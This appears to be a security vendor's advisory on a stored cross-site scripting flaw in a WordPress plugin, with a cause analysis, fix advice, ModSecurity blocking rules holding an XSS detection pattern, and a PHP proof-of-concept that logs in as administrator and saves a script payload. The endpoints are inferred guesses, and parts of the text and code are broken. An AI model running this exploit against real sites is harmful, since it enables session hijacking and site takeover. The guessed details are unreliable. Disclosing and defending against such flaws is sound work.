Atomic Edge analysis of CVE-2026-2719 (metadata-based): This vulnerability is a Stored Cross-Site Scripting (XSS) issue in the WordPress plugin Private WP suite, affecting versions up to and including 0.4.1. An authenticated attacker with Administrator-level access can inject arbitrary web scripts through the ‘Exceptions’ setting. The vulnerability is limited to multi-site installations and environments where unfiltered_html has been disabled.
The root cause is insufficient input sanitization and output escaping on the ‘Exceptions’ setting, as described in the CWE-79 classification. Atomic Edge analysis infers that the plugin likely saves the ‘Exceptions’ field directly into the database without proper sanitization (e.g., missing use of wp_kses or sanitize_textarea_field) and then outputs it on admin pages or front-end pages without escaping (e.g., missing esc_html or esc_attr). This allows HTML and JavaScript payloads to persist. The description explicitly states insufficient sanitization and escaping, confirming this inference.
To exploit this, an attacker must have Administrator-level access or higher. On a WordPress multi-site installation with unfiltered_html disabled for administrators (a common configuration to enforce security), the attacker navigates to the plugin settings page (likely under Settings or a custom menu added by the plugin, at /wp-admin/options-general.php?page=private-wp-suite or similar). The attacker then locates the ‘Exceptions’ setting field and inputs an XSS payload such as alert(‘XSS’) or
. The payload is saved via a form POST to the plugin’s admin action handler (likely an AJAX or admin-post hook, e.g., action=private_wp_suite_save_exceptions). The payload then executes whenever any user, including lower-privileged users, views the page that displays the Exceptions list.
A proper fix would require the plugin developers to sanitize the ‘Exceptions’ setting input using WordPress functions like sanitize_textarea_field or wp_kses_post, and escape the output in all contexts using esc_html, esc_attr, or wp_kses when rendering the setting on admin or front-end pages. The plugin should also validate that the current user has the necessary capabilities (e.g., manage_options) and enforce proper nonce verification to prevent CSRF.
The impact is significant in the restricted environment described. An attacker can inject persistent JavaScript that executes in the browsers of other administrators or users viewing the Exceptions page. This can lead to session hijacking, sensitive data theft (e.g., admin credentials, authentication tokens), defacement, or further privilege escalation via admin-level actions performed on behalf of the victim.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-2719 (metadata-based)
# Block stored XSS injection in the 'Exceptions' setting of Private WP suite
SecRule REQUEST_URI "@streq /wp-admin/admin-post.php"
"id:20262719,phase:2,deny,status:403,chain,msg:'CVE-2026-2719 - Private WP suite XSS via Exceptions setting',severity:'CRITICAL',tag:'CVE-2026-2719'"
SecRule ARGS_POST:action "@streq private_wp_suite_save_exceptions" "chain"
SecRule ARGS_POST:exceptions "@rx <script|<img|onerror|onload|onmouseover|javascript:" "t:lowercase,t:urlDecodeUni"
# Alternative rule if the endpoint is AJAX-based
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20262720,phase:2,deny,status:403,chain,msg:'CVE-2026-2719 - Private WP suite XSS via Exceptions (AJAX)',severity:'CRITICAL',tag:'CVE-2026-2719'"
SecRule ARGS_POST:action "@streq private_wp_suite_ajax_save_exceptions" "chain"
SecRule ARGS_POST:exceptions "@rx <script|<img|onerror|onload|onmouseover|javascript:" "t:lowercase,t:urlDecodeUni"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2719 - Private WP suite <= 0.4.1 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'Exceptions' Setting
// Configuration: Replace these with actual target and admin credentials
$target_url = 'http://example.com'; // Base URL of the WordPress installation
$admin_username = 'admin';
$admin_password = 'password';
// Step 1: Login as Administrator
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $admin_username,
'pwd' => $admin_password,
'rememberme' => 'forever',
'wp-submit' => 'Log In'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Extract the settings page URL and nonce (assumed pattern)
// The plugin likely adds a settings page under Settings menu or a custom top-level menu.
// We assume the page is accessible at /wp-admin/options-general.php?page=private-wp-suite
// or /wp-admin/admin.php?page=private-wp-suite-settings
// For this PoC, we attempt to fetch the settings page to extract nonce.
// If nonce extraction fails, we assume direct POST without nonce (unlikely but possible).
$settings_page_url = $target_url . '/wp-admin/options-general.php?page=private-wp-suite';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $settings_page_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_HEADER, false);
$settings_html = curl_exec($ch);
curl_close($ch);
// Attempt to extract nonce from the page (common pattern: name="_wpnonce" value="...")
preg_match('/<input[^>]*name="_wpnonce"[^>]*value="([^"]+)"[^>]*/?>/i', $settings_html, $nonce_match);
preg_match('/<input[^>]*name="_wpnonce"[^>]*value="([^"]+)"[^>]*/?>/i', $settings_html, $nonce_match_alt);
$nonce = '';
if (isset($nonce_match[1])) {
$nonce = $nonce_match[1];
} elseif (isset($nonce_match_alt[1])) {
$nonce = $nonce_match_alt[1];
} else {
// If no nonce found, proceed anyway (the plugin might not use one)
}
// XSS Payload
$xss_payload = '<script>alert('XSS by Atomic Edge');</script>';
// Step 3: Send the POST request to save the Exceptions setting
// Assumed action endpoint: /wp-admin/admin-post.php?action=private_wp_suite_save_exceptions
// or via AJAX: /wp-admin/admin-ajax.php?action=private_wp_suite_ajax_save
// We attempt the admin-post action first.
$save_url = $target_url . '/wp-admin/admin-post.php';
$post_data = array(
'action' => 'private_wp_suite_save_exceptions',
'exceptions' => $xss_payload,
'_wpnonce' => $nonce
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $save_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
$save_response = curl_exec($ch);
curl_close($ch);
// Check if the save succeeded (200 response, no error)
if (strpos($save_response, 'error') === false && strpos($save_response, 'Sorry') === false) {
echo '[+] Exploit likely successful. The XSS payload was saved to the Exceptions setting.' . PHP_EOL;
echo '[+] Payload: ' . $xss_payload . PHP_EOL;
echo '[+] The payload will execute when any user views the Exceptions page.' . PHP_EOL;
} else {
echo '[!] Exploit may have failed. Check target URL, credentials, or try manually.' . PHP_EOL;
}
// Clean up
unlink('/tmp/cookies.txt');